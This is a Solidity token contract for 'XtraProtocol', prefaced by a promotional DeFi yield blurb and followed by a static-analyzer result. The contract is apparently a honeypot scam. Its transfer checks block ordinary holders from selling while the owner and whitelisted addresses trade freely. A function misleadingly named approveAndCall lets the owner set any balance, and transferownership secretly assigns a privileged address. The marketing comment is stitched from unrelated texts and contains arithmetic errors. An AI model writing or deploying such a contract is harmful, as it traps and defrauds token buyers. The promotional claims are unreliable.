/*
Introduction

How it works
Rapid development of projects in the DeFi sector is attracting more and more attention and becomes a constant source of fintech innovation.
Today we are going to review the beta version of a new interesting DeFi service XTRA. The service offers a decentralized functionality for accelerating (boosting) the receipt of COMP tokens from the largest DeFi project Compound, which is almost risk-free and provides an average yield of about 43% per annum.
How it works and what pitfalls there are in the process.
At the end of June 2020 the second-largest DeFi service Compound issued its governments COMP token that is required for participation in the project management and is credited to all Compound users who place funds and receive secured loans.
Let’s have a look at a simple example
You placed funds on the Compound in the amount of 1000 USDC at 3.2% per annum, and you will also receive a certain amount of COMP tokens, which is determined by the size of your share in the sum of all funds placed on the Compound. At the moment the Compound distributes 1445 COMP to everyone per day. If the sum of all funds placed is 10.000.000 USTC, and you have placed 1000 USTC (0.01% of the total amount), then, accordingly, you will receive 0.01% out of all COMP, which equals to 1445 * 0.01% = 0.01445 COMP. The current rate of the COMP token is $134.5, therefore, you will receive an additional $134.5 * 0.01445 = $1.94. If you recalculate $1.94 per day to annual interest, you will additionally get more than 700% per annum.
Indeed, in the early days after token accrual launch, compound users received a very high percentage of the additional profit that exceeded 100%. But since the volume of distributed tokens is fixed, and the size of funds on the Compound exceeds $500,000,000, now the additional average yield from the received COMP tokens does not exceed 6% per annum. That, together with the total balance interest in USDC gives 6% + 3.2% = 9.2% per annum on the dollar balance, which is also a very good result.
But, of course, users always want more and this is possible.
Step 1: let’s place funds in the amount of 1000 USDC and make it a collateral.
Step 2: let’s receive a loan of up to USD $700 (in DAI tokens) on the Compound at a small interest rate, which will give you the opportunity to receive COMP tokens for the amount of the loan taken, according to the scheme that we discussed above using the example of a created balance.
Step 3: let’s create another account on the Compound and place the loan received in DAI inside the new compound account on a balance that will allow you to receive the main 3.2% and an additional ~ 6% interest on it in COMP tokens.
Step 4: again, let’s take a loan for the second balance we created in the amount of up to $490 and get COMP tokens for it as well.
As a result of these steps (you can complete more than 10 of them, as the reasonable number of steps depends on the size of the initial balance), you can increase the total amount of the balance and a loan on the Compound by about 3.2 times, which means that the initial interest of 6% will be increased by 3.2 times.
6% * 3.2 = 19.2%
+ 3.2% on the balance = 22.4%
-4.8% loan repayment = 17.6%
Total: 17.6% per annum on a dollar account. This is just an outstanding result.
What are the risks and specifics?
All these steps will require payment of the Ethereum network commission, and since these are quite complex operations, you will spend from $35 to $60 for 5 to 6 steps. You need to correctly calculate and select tokens for the balance using the average % values for the balance and a loan, otherwise a significant part of the profit can be spent on paying off the high % for the loan. If you take the maximum possible loan amount close to 75% of the balance amount, then in the event of a significant fluctuation in the exchange rate of your chosen tokens or an increase in the loan interest, there is a risk of liquidation of your collateral, which may lead to the loss of 13% of your balance.
We've built a decentralized P2P loan economy on the blockchain.

Traditional loans are inflexible and inaccessible to most people in 2021. DeFi has proven there is a working use-case in decentralizing such financial services.
However, blockchain comes with anonymity and removes trusted third-parties, which limits the types of loans that can be issued. Why? Because some people are more likely to pay back a loan than others.
Trust and reputation still matters when issuing loans.
Xtra Protocol solves this by building an irrefutable, verifiable reputation system onto the blockchain and tying it together with decentralized finance services.
The result is a peer-to-peer loan economy, whereby lenders can trivially repossess collateral via smart contracts.
Now, for the first time, P2P loans can be issued to anyone, regardless of their reputation.
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract XtraProtocol {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}